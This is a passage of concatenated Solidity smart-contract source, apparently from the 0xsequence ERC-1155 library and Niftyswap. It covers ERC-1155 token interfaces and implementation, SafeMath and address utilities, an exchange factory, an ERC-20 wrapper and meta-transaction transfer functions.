_from, address _to, uint256 _id, uint256 _amount, bytes calldata _data) external; /** * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call) * @dev MUST emit TransferBatch event on success * Caller must be approved to manage the _from account's tokens (see isApprovedForAll) * MUST throw if `_to` is the zero address * MUST throw if length of `_ids` is not the same as length of `_amounts` * MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_amounts` sent * MUST throw on any other error * When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * Transfers and events MUST occur in the array order they were submitted (_ids[0] before _ids[1], etc) * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type * @param _data Additional data with no specified format, sent in call to `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external; /** * @notice Get the balance of an account's Tokens * @param _owner The address of the token holder * @param _id ID of the Token * @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); /** * @notice Get the balance of multiple account/token pairs * @param _owners The addresses of the token holders * @param _ids ID of the Tokens * @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); /** * @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens * @dev MUST emit the ApprovalForAll event on success * @param _operator Address to add to the set of authorized operators * @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** * @notice Queries the approval status of an operator for a given owner * @param _owner The owner of the Tokens * @param _operator Address of authorized operator * @return isOperator True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; /** * @dev ERC-1155 interface for accepting safe transfers. */ interface IERC1155TokenReceiver { /** * @notice Handle the receipt of a single ERC1155 token type * @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated * This function MAY throw to revert and reject the transfer * Return of other amount than the magic value MUST result in the transaction being reverted * Note: The token contract address is always the message sender * @param _operator The address which called the `safeTransferFrom` function * @param _from The address which previously owned the token * @param _id The id of the token being transferred * @param _amount The amount of tokens being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4); /** * @notice Handle the receipt of multiple ERC1155 token types * @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated * This function MAY throw to revert and reject the transfer * Return of other amount than the magic value WILL result in the transaction being reverted * Note: The token contract address is always the message sender * @param _operator The address which called the `safeBatchTransferFrom` function * @param _from The address which previously owned the token * @param _ids An array containing ids of each token being transferred * @param _amounts An array containing amounts of each token being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` */ function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; import "./ERC1155.sol"; /** * @dev Multi-Fungible Tokens with minting and burning methods. These methods assume * a parent contract to be executed as they are `internal` functions */ contract ERC1155MintBurn is ERC1155 { using SafeMath for uint256; /****************************************| | Minting Functions | |_______________________________________*/ /** * @notice Mint _amount of tokens of a given id * @param _to The address to mint tokens to * @param _id Token id to mint * @param _amount The amount to be minted * @param _data Data to pass if receiver is contract */ function _mint(address _to, uint256 _id, uint256 _amount, bytes memory _data) internal { // Add _amount balances[_to][_id] = balances[_to][_id].add(_amount); // Emit event emit TransferSingle(msg.sender, address(0x0), _to, _id, _amount); // Calling onReceive method if recipient is contract _callonERC1155Received(address(0x0), _to, _id, _amount, gasleft(), _data); } /** * @notice Mint tokens for each ids in _ids * @param _to The address to mint tokens to * @param _ids Array of ids to mint * @param _amounts Array of amount of tokens to mint per id * @param _data Data to pass if receiver is contract */ function _batchMint(address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) internal { require(_ids.length == _amounts.length, "ERC1155MintBurn#batchMint: INVALID_ARRAYS_LENGTH"); // Number of mints to execute uint256 nMint = _ids.length; // Executing all minting for (uint256 i = 0; i < nMint; i++) { // Update storage balance balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]); } // Emit batch mint event emit TransferBatch(msg.sender, address(0x0), _to, _ids, _amounts); // Calling onReceive method if recipient is contract _callonERC1155BatchReceived(address(0x0), _to, _ids, _amounts, gasleft(), _data); } /****************************************| | Burning Functions | |_______________________________________*/ /** * @notice Burn _amount of tokens of a given token id * @param _from The address to burn tokens from * @param _id Token id to burn * @param _amount The amount to be burned */ function _burn(address _from, uint256 _id, uint256 _amount) internal { //Substract _amount balances[_from][_id] = balances[_from][_id].sub(_amount); // Emit event emit TransferSingle(msg.sender, _from, address(0x0), _id, _amount); } /** * @notice Burn tokens of given token id for each (_ids[i], _amounts[i]) pair * @param _from The address to burn tokens from * @param _ids Array of token ids to burn * @param _amounts Array of the amount to be burned */ function _batchBurn(address _from, uint256[] memory _ids, uint256[] memory _amounts) internal { // Number of mints to execute uint256 nBurn = _ids.length; require(nBurn == _amounts.length, "ERC1155MintBurn#batchBurn: INVALID_ARRAYS_LENGTH"); // Executing all minting for (uint256 i = 0; i < nBurn; i++) { // Update storage balance balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]); } // Emit batch mint event emit TransferBatch(msg.sender, _from, address(0x0), _ids, _amounts); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; import "../../utils/SafeMath.sol"; import "../../interfaces/IERC1155TokenReceiver.sol"; import "../../interfaces/IERC1155.sol"; import "../../utils/Address.sol"; import "../../utils/ERC165.sol"; /** * @dev Implementation of Multi-Token Standard contract */ contract ERC1155 is IERC1155, ERC165 { using SafeMath for uint256; using Address for address; /***********************************| | Variables and Events | |__________________________________*/ // onReceive function signatures bytes4 constant internal ERC1155_RECEIVED_VALUE = 0xf23a6e61; bytes4 constant internal ERC1155_BATCH_RECEIVED_VALUE = 0xbc197c81; // Objects balances mapping (address => mapping(uint256 => uint256)) internal balances; // Operator Functions mapping (address => mapping(address => bool)) internal operators; /***********************************| | Public Transfer Functions | |__________________________________*/ /** * @notice Transfers amount amount of an _id from the _from address to the _to address specified * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount * @param _data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data) public override { require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeTransferFrom: INVALID_OPERATOR"); require(_to != address(0),"ERC1155#safeTransferFrom: INVALID_RECIPIENT"); // require(_amount <= balances[_from][_id]) is not necessary since checked with safemath operations _safeTransferFrom(_from, _to, _id, _amount); _callonERC1155Received(_from, _to, _id, _amount, gasleft(), _data); } /** * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call) * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type * @param _data Additional data with no specified format, sent in call to `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) public override { // Requirements require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeBatchTransferFrom: INVALID_OPERATOR"); require(_to != address(0), "ERC1155#safeBatchTransferFrom: INVALID_RECIPIENT"); _safeBatchTransferFrom(_from, _to, _ids, _amounts); _callonERC1155BatchReceived(_from, _to, _ids, _amounts, gasleft(), _data); } /***********************************| | Internal Transfer Functions | |__________________________________*/ /** * @notice Transfers amount amount of an _id from the _from address to the _to address specified * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount */ function _safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount) internal { // Update balances balances[_from][_id] = balances[_from][_id].sub(_amount); // Subtract amount balances[_to][_id] = balances[_to][_id].add(_amount); // Add amount // Emit event emit TransferSingle(msg.sender, _from, _to, _id, _amount); } /** * @notice Verifies if receiver is contract and if so, calls (_to).onERC1155Received(...) */ function _callonERC1155Received(address _from, address _to, uint256 _id, uint256 _amount, uint256 _gasLimit, bytes memory _data) internal { // Check if recipient is contract if (_to.isContract()) { bytes4 retval = IERC1155TokenReceiver(_to).onERC1155Received{gas: _gasLimit}(msg.sender, _from, _id, _amount, _data); require(retval == ERC1155_RECEIVED_VALUE, "ERC1155#_callonERC1155Received: INVALID_ON_RECEIVE_MESSAGE"); } } /** * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call) * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type */ function _safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts) internal { require(_ids.length == _amounts.length, "ERC1155#_safeBatchTransferFrom: INVALID_ARRAYS_LENGTH"); // Number of transfer to execute uint256 nTransfer = _ids.length; // Executing all transfers for (uint256 i = 0; i < nTransfer; i++) { // Update storage balance of previous bin balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]); balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]); } // Emit event emit TransferBatch(msg.sender, _from, _to, _ids, _amounts); } /** * @notice Verifies if receiver is contract and if so, calls (_to).onERC1155BatchReceived(...) */ function _callonERC1155BatchReceived(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, uint256 _gasLimit, bytes memory _data) internal { // Pass data if recipient is contract if (_to.isContract()) { bytes4 retval = IERC1155TokenReceiver(_to).onERC1155BatchReceived{gas: _gasLimit}(msg.sender, _from, _ids, _amounts, _data); require(retval == ERC1155_BATCH_RECEIVED_VALUE, "ERC1155#_callonERC1155BatchReceived: INVALID_ON_RECEIVE_MESSAGE"); } } /***********************************| | Operator Functions | |__________________________________*/ /** * @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens * @param _operator Address to add to the set of authorized operators * @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external override { // Update operator status operators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /** * @notice Queries the approval status of an operator for a given owner * @param _owner The owner of the Tokens * @param _operator Address of authorized operator * @return isOperator True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) public override view returns (bool isOperator) { return operators[_owner][_operator]; } /***********************************| | Balance Functions | |__________________________________*/ /** * @notice Get the balance of an account's Tokens * @param _owner The address of the token holder * @param _id ID of the Token * @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) public override view returns (uint256) { return balances[_owner][_id]; } /** * @notice Get the balance of multiple account/token pairs * @param _owners The addresses of the token holders * @param _ids ID of the Tokens * @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] memory _owners, uint256[] memory _ids) public override view returns (uint256[] memory) { require(_owners.length == _ids.length, "ERC1155#balanceOfBatch: INVALID_ARRAY_LENGTH"); // Variables uint256[] memory batchBalances = new uint256[](_owners.length); // Iterate over each owner and token ID for (uint256 i = 0; i < _owners.length; i++) { batchBalances[i] = balances[_owners[i]][_ids[i]]; } return batchBalances; } /***********************************| | ERC165 Functions | |__________________________________*/ /** * @notice Query if a contract implements an interface * @param _interfaceID The interface identifier, as specified in ERC-165 * @return `true` if the contract implements `_interfaceID` and */ function supportsInterface(bytes4 _interfaceID) public override(ERC165, IERC165) virtual pure returns (bool) { if (_interfaceID == type(IERC1155).interfaceId) { return true; } return super.supportsInterface(_interfaceID); } } pragma solidity 0.7.4; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath#mul: OVERFLOW"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath#div: DIVISION_BY_ZERO"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath#sub: UNDERFLOW"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath#add: OVERFLOW"); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO"); return a % b; } } pragma solidity 0.7.4; /** * Utility library of inline functions on addresses */ library Address { // Default hash for EOA accounts returned by extcodehash bytes32 constant internal ACCOUNT_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract. * @param _address address of the account to check * @return Whether the target address is a contract */ function isContract(address _address) internal view returns (bool) { bytes32 codehash; // Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address or if it has a non-zero code hash or account hash assembly { codehash := extcodehash(_address) } return (codehash != 0x0 && codehash != ACCOUNT_HASH); } } pragma solidity 0.7.4; import "../interfaces/IERC165.sol"; abstract contract ERC165 is IERC165 { /** * @notice Query if a contract implements an interface * @param _interfaceID The interface identifier, as specified in ERC-165 * @return `true` if the contract implements `_interfaceID` */ function supportsInterface(bytes4 _interfaceID) virtual override public pure returns (bool) { return _interfaceID == this.supportsInterface.selector; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; import "./NiftyswapExchange.sol"; import "../interfaces/INiftyswapFactory.sol"; contract NiftyswapFactory is INiftyswapFactory { /***********************************| | Events And Variables | |__________________________________*/ // tokensToExchange[erc1155_token_address][currency_address][currency_token_id] mapping(address => mapping(address => mapping(uint256 => address))) public override tokensToExchange; /***********************************| | Functions | |__________________________________*/ /** * @notice Creates a NiftySwap Exchange for given token contract * @param _token The address of the ERC-1155 token contract * @param _currency The address of the currency token contract * @param _currencyID The id of the currency token */ function createExchange(address _token, address _currency, uint256 _currencyID) public override { require(tokensToExchange[_token][_currency][_currencyID] == address(0x0), "NiftyswapFactory#createExchange: EXCHANGE_ALREADY_CREATED"); // Create new exchange contract NiftyswapExchange exchange = new NiftyswapExchange(_token, _currency, _currencyID); // Store exchange and token addresses tokensToExchange[_token][_currency][_currencyID] = address(exchange); // Emit event emit NewExchange(_token, _currency, _currencyID, address(exchange)); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; interface INiftyswapFactory { /***********************************| | Events | |__________________________________*/ event NewExchange(address indexed token, address indexed currency, uint256 indexed currencyID, address exchange); /***********************************| | Public Functions | |__________________________________*/ /** * @notice Creates a NiftySwap Exchange for given token contract * @param _token The address of the ERC-1155 token contract * @param _currency The address of the currency token contract * @param _currencyID The id of the currency token */ function createExchange(address _token, address _currency, uint256 _currencyID) external; /** * @notice Return address of exchange for corresponding ERC-1155 token contract * @param _token The address of the ERC-1155 token contract * @param _currency The address of the currency token contract * @param _currencyID The id of the currency token */ function tokensToExchange(address _token, address _currency, uint256 _currencyID) external view returns (address); } pragma solidity 0.7.4; pragma experimental ABIEncoderV2; import "@0xsequence/erc-1155/contracts/interfaces/IERC20.sol"; import "@0xsequence/erc-1155/contracts/interfaces/IERC165.sol"; import "@0xsequence/erc-1155/contracts/interfaces/IERC1155.sol"; import "@0xsequence/erc-1155/contracts/interfaces/IERC1155TokenReceiver.sol"; import "@0xsequence/erc-1155/contracts/tokens/ERC1155/ERC1155Meta.sol"; import "@0xsequence/erc-1155/contracts/tokens/ERC1155/ERC1155MintBurn.sol"; /** * @notice Allows users to wrap any amount of any ERC-20 token with a 1:1 ratio * of corresponding ERC-1155 tokens with native metaTransaction methods. Each * ERC-20 is assigned an ERC-1155 id for more efficient CALLDATA usage when * doing transfers. */ contract MetaERC20Wrapper is ERC1155Meta, ERC1155MintBurn { // Variables uint256 internal nTokens = 1; // Number of ERC-20 tokens registered uint256 constant internal ETH_ID = 0x1; // ID fo tokens representing Ether is 1 address constant internal ETH_ADDRESS = address(0x1); // Address for tokens representing Ether is 0x00...01 mapping (address => uint256) internal addressToID; // Maps the ERC-20 addresses to their metaERC20 id mapping (uint256 => address) internal IDtoAddress; // Maps the metaERC20 ids to their ERC-20 address /***********************************| | Events | |__________________________________*/ event TokenRegistration(address token_address, uint256 token_id); /***********************************| | Constructor | |__________________________________*/ // Register ETH as ID #1 and address 0x1 constructor() public { addressToID[ETH_ADDRESS] = ETH_ID; IDtoAddress[ETH_ID] = ETH_ADDRESS; } /***********************************| | Deposit Functions | |__________________________________*/ /** * Fallback function * @dev Deposit ETH in this contract to receive wrapped ETH * No parameters provided */ receive () external payable { // Deposit ETH sent with transaction deposit(ETH_ADDRESS, msg.sender, msg.value); } /** * @dev Deposit ERC20 tokens or ETH in this contract to receive wrapped ERC20s * @param _token The addess of the token to deposit in this contract * @param _recipient Address that will receive the ERC-1155 tokens * @param _value The amount of token to deposit in this contract * Note: Users must first approve this contract addres on the contract of the ERC20 to be deposited */ function deposit(address _token, address _recipient, uint256 _value) public payable { require(_recipient != address(0x0), "MetaERC20Wrapper#deposit: INVALID_RECIPIENT"); // Internal ID of ERC-20 token deposited uint256 id; // Deposit ERC-20 tokens or ETH if (_token != ETH_ADDRESS) { // Check if transfer passes require(msg.value == 0, "MetaERC20Wrapper#deposit: NON_NULL_MSG_VALUE"); IERC20(_token).transferFrom(msg.sender, address(this), _value); require(checkSuccess(), "MetaERC20Wrapper#deposit: TRANSFER_FAILED"); // Load address token ID uint256 addressId = addressToID[_token]; // Register ID if not already done if (addressId == 0) { nTokens += 1; // Increment number of tokens registered id = nTokens; // id of token is the current # of tokens IDtoAddress[id] = _token; // Map id to token address addressToID[_token] = id; // Register token // Emit registration event emit TokenRegistration(_token, id); } else { id = addressId; } } else { require(_value == msg.value, "MetaERC20Wrapper#deposit: INCORRECT_MSG_VALUE"); id = ETH_ID; } // Mint meta tokens _mint(_recipient, id, _value, ""); } /***********************************| | Withdraw Functions | |__________________________________*/ /** * @dev Withdraw wrapped ERC20 tokens in this contract to receive the original ERC20s or ETH * @param _token The addess of the token to withdrww from this contract * @param _to The address where the withdrawn tokens will go to * @param _value The amount of tokens to withdraw */ function withdraw(address _token, address payable _to, uint256 _value) public { uint256 tokenID = getTokenID(_token); _withdraw(msg.sender, _to, tokenID, _value); } /** * @dev Withdraw wrapped ERC20 tokens in this contract to receive the original ERC20s or ETH * @param _from Address of users sending the Meta tokens * @param _to The address where the withdrawn tokens will go to * @param _tokenID The token ID of the ERC-20 token to withdraw from this contract * @param _value The amount of tokens to withdraw */ function _withdraw( address _from, address payable _to, uint256 _tokenID, uint256 _value) internal { // Burn meta tokens _burn(_from, _tokenID, _value); // Withdraw ERC-20 tokens or ETH if (_tokenID != ETH_ID) { address token = IDtoAddress[_tokenID]; IERC20(token).transfer(_to, _value); require(checkSuccess(), "MetaERC20Wrapper#withdraw: TRANSFER_FAILED"); } else { require(_to != address(0), "MetaERC20Wrapper#withdraw: INVALID_RECIPIENT"); (bool success, ) = _to.call{value: _value}(""); require(success, "MetaERC20Wrapper#withdraw: TRANSFER_FAILED"); } } /** * @notice Withdraw ERC-20 tokens when receiving their ERC-1155 counterpart * @param _from The address which previously owned the token * @param _id The id of the token being transferred * @param _value The amount of tokens being transferred * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` */ function onERC1155Received(address, address payable _from, uint256 _id, uint256 _value, bytes memory) public returns(bytes4) { // Only ERC-1155 from this contract are valid require(msg.sender == address(this), "MetaERC20Wrapper#onERC1155Received: INVALID_ERC1155_RECEIVED"); getIdAddress(_id); // Checks if id is registered // Tokens are received, hence need to burn them here _withdraw(address(this), _from, _id, _value); return ERC1155_RECEIVED_VALUE; } /** * @notice Withdraw ERC-20 tokens when receiving their ERC-1155 counterpart * @param _from The address which previously owned the token * @param _ids An array containing ids of each token being transferred * @param _values An array containing amounts of each token being transferred * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` */ function onERC1155BatchReceived(address, address payable _from, uint256[] memory _ids, uint256[] memory _values, bytes memory) public returns(bytes4) { // Only ERC-1155 from this contract are valid require(msg.sender == address(this), "MetaERC20Wrapper#onERC1155BatchReceived: INVALID_ERC1155_RECEIVED"); // Withdraw all tokens for ( uint256 i = 0; i < _ids.length; i++) { // Checks if id is registered getIdAddress(_ids[i]); // Tokens are received, hence need to burn them here _withdraw(address(this), _from, _ids[i], _values[i]); } return ERC1155_BATCH_RECEIVED_VALUE; } /** * @notice Return the Meta-ERC20 token ID for the given ERC-20 token address * @param _token ERC-20 token address to get the corresponding Meta-ERC20 token ID * @return tokenID Meta-ERC20 token ID */ function getTokenID(address _token) public view returns (uint256 tokenID) { tokenID = addressToID[_token]; require(tokenID != 0, "MetaERC20Wrapper#getTokenID: UNREGISTERED_TOKEN"); return tokenID; } /** * @notice Return the ERC-20 token address for the given Meta-ERC20 token ID * @param _id Meta-ERC20 token ID to get the corresponding ERC-20 token address * @return token ERC-20 token address */ function getIdAddress(uint256 _id) public view returns (address token) { token = IDtoAddress[_id]; require(token != address(0x0), "MetaERC20Wrapper#getIdAddress: UNREGISTERED_TOKEN"); return token; } /** * @notice Returns number of tokens currently registered */ function getNTokens() external view returns (uint256) { return nTokens; } /***********************************| | Helper Functions | |__________________________________*/ /** * Checks the return value of the previous function up to 32 bytes. Returns true if the previous * function returned 0 bytes or 32 bytes that are not all-zero. * Code taken from: https://github.com/dydxprotocol/solo/blob/10baf8e4c3fb9db4d0919043d3e6fdd6ba834046/contracts/protocol/lib/Token.sol */ function checkSuccess() private pure returns (bool) { uint256 returnValue = 0; /* solium-disable-next-line security/no-inline-assembly */ assembly { // check number of bytes returned from last function call switch returndatasize() // no bytes returned: assume success case 0x0 { returnValue := 1 } // 32 bytes returned: check if non-zero case 0x20 { // copy 32 bytes into scratch space returndatacopy(0x0, 0x0, 0x20) // load those bytes into returnValue returnValue := mload(0x0) } // not sure what was returned: dont mark as success default { } } return returnValue != 0; } /** * @notice Indicates whether a contract implements the `ERC1155TokenReceiver` functions and so can accept ERC1155 token types. * @param interfaceID The ERC-165 interface ID that is queried for support.s * @dev This function MUST return true if it implements the ERC1155TokenReceiver interface and ERC-165 interface. * This function MUST NOT consume more than 5,000 gas. * @return Wheter ERC-165 or ERC1155TokenReceiver interfaces are supported. */ function supportsInterface(bytes4 interfaceID) public override pure returns (bool) { return interfaceID == type(IERC165).interfaceId || interfaceID == type(IERC1155).interfaceId || interfaceID == type(IERC1155TokenReceiver).interfaceId; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; pragma experimental ABIEncoderV2; import "./ERC1155.sol"; import "../../interfaces/IERC20.sol"; import "../../interfaces/IERC1155.sol"; import "../../utils/LibBytes.sol"; import "../../utils/SignatureValidator.sol"; /** * @dev ERC-1155 with native metatransaction methods. These additional functions allow users * to presign function calls and allow third parties to execute these on their behalf */ contract ERC1155Meta is ERC1155, SignatureValidator { using LibBytes for bytes; /***********************************| | Variables and Structs | |__________________________________*/ /** * Gas Receipt * feeTokenData : (bool, address, ?unit256) * 1st element should be the address of the token * 2nd argument (if ERC-1155) should be the ID of the token * Last element should be a 0x0 if ERC-20 and 0x1 for ERC-1155 */ struct GasReceipt { uint256 gasFee; // Fixed cost for the tx uint256 gasLimitCallback; // Maximum amount of gas the callback in transfer functions can use address feeRecipient; // Address to send payment to bytes feeTokenData; // Data for token to pay for gas } // Which token standard is used to pay gas fee enum FeeTokenType { ERC1155, // 0x00, ERC-1155 token - DEFAULT ERC20, // 0x01, ERC-20 token NTypes // 0x02, number of signature types. Always leave at end. } // Signature nonce per address mapping (address => uint256) internal nonces; /***********************************| | Events | |__________________________________*/ event NonceChange(address indexed signer, uint256 newNonce); /****************************************| | Public Meta Transfer Functions | |_______________________________________*/ /** * @notice Allows anyone with a valid signature to transfer _amount amount of a token _id on the bahalf of _from * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount * @param _isGasFee Whether gas is reimbursed to executor or not * @param _data Encodes a meta transfer indicator, signature, gas payment receipt and extra transfer data * _data should be encoded as ( * (bytes32 r, bytes32 s, uint8 v, uint256 nonce, SignatureType sigType), * (GasReceipt g, ?bytes transferData) * ) * i.e. high level encoding should be (bytes, bytes), where the latter bytes array is a nested bytes array */ function metaSafeTransferFrom( address _from, address _to, uint256 _id, uint256 _amount, bool _isGasFee, bytes memory _data) public { require(_to != address(0), "ERC1155Meta#metaSafeTransferFrom: INVALID_RECIPIENT"); // Initializing bytes memory transferData; GasReceipt memory gasReceipt; // Verify signature and extract the signed data bytes memory signedData = _signatureValidation( _from, _data, abi.encode( META_TX_TYPEHASH, _from, // Address as uint256 _to, // Address as uint256 _id, _amount, _isGasFee ? uint256(1) : uint256(0) // Boolean as uint256 ) ); // Transfer asset _safeTransferFrom(_from, _to, _id, _amount); // If Gas is being reimbursed if (_isGasFee) { (gasReceipt, transferData) = abi.decode(signedData, (GasReceipt, bytes)); // We need to somewhat protect relayers against gas griefing attacks in recipient contract. // Hence we only pass the gasLimit to the recipient such that the relayer knows the griefing // limit. Nothing can prevent the receiver to revert the transaction as close to the gasLimit as // possible, but the relayer can now only accept meta-transaction gasLimit within a certain range. _callonERC1155Received(_from, _to, _id, _amount, gasReceipt.gasLimitCallback, transferData); // Transfer gas cost _transferGasFee(_from, gasReceipt); } else { _callonERC1155Received(_from, _to, _id, _amount, gasleft(), signedData); } } /** * @notice Allows anyone with a valid signature to transfer multiple types of tokens on the bahalf of _from * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type * @param _isGasFee Whether gas is reimbursed to executor or not * @param _data Encodes a meta transfer indicator, signature, gas payment receipt and extra transfer data * _data should be encoded as ( * (bytes32 r, bytes32 s, uint8 v, uint256 nonce, SignatureType sigType), * (GasReceipt g, ?bytes transferData) * ) * i.e. high level encoding should be (bytes, bytes), where the latter bytes array is a nested bytes array */ function metaSafeBatchTransferFrom( address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bool _isGasFee, bytes memory _data) public { require(_to != address(0), "ERC1155Meta#metaSafeBatchTransferFrom: INVALID_RECIPIENT"); // Initializing bytes memory transferData; GasReceipt memory gasReceipt; // Verify signature and extract the signed data bytes memory signedData = _signatureValidation( _from, _data, abi.encode( META_BATCH_TX_TYPEHASH, _from, // Address as uint256 _to, // Address as uint256 keccak256(abi.encodePacked(_ids)), keccak256(abi.encodePacked(_amounts)), _isGasFee ? uint256(1) : uint256(0) // Boolean as uint256 ) ); // Transfer assets _safeBatchTransferFrom(_from, _to, _ids, _amounts); // If gas fee being reimbursed if (_isGasFee) { (gasReceipt, transferData) = abi.decode(signedData, (GasReceipt, bytes)); // We need to somewhat protect relayers against gas griefing attacks in recipient contract. // Hence we only pass the gasLimit to the recipient such that the relayer knows the griefing // limit. Nothing can prevent the receiver to revert the transaction as close to the gasLimit as // possible, but the relayer can now only accept meta-transaction gasLimit within a certain range. _callonERC1155BatchReceived(_from, _to, _ids, _amounts, gasReceipt.gasLimitCallback, transferData); // Handle gas reimbursement _transferGasFee(_from, gasReceipt); } else { _callonERC1155BatchReceived(_from, _to, _ids, _amounts, gasleft(), signedData); } } /***********************************| | Operator Functions | |__________________________________*/ /** * @notice Approve the passed address to spend on behalf of _from if valid signature is provided * @param _owner Address that wants to set operator status _spender * @param _operator Address to add to the set of authorized operators * @param _approved True if the operator is approved, false to revoke approval * @param _isGasFee Whether gas will be reimbursed or not, with vlid signature * @param _data Encodes signature and gas payment receipt * _data should be encoded as ( * (bytes32 r, bytes32 s, uint8 v, uint256 nonce, SignatureType sigType), * (GasReceipt g) * ) * i.e. high level encoding should be (bytes, bytes), where the latter bytes array is a nested bytes array */ function metaSetApprovalForAll( address _owner, address _operator, bool _approved, bool _isGasFee, bytes memory _data) public { // Verify signature and extract the signed data bytes memory signedData = _signatureValidation( _owner, _data, abi.encode( META_APPROVAL_TYPEHASH, _owner, // Address as uint256 _operator, // Address as uint256 _approved ? uint256(1) : uint256(0), // Boolean as uint256 _isGasFee ? uint256(1) : uint256(0) // Boolean as uint256 ) ); // Update operator status operators[_owner][_operator] = _approved; // Emit event emit ApprovalForAll(_owner, _operator, _approved); // Handle gas reimbursement if (_isGasFee) { GasReceipt memory gasReceipt = abi.decode(signedData, 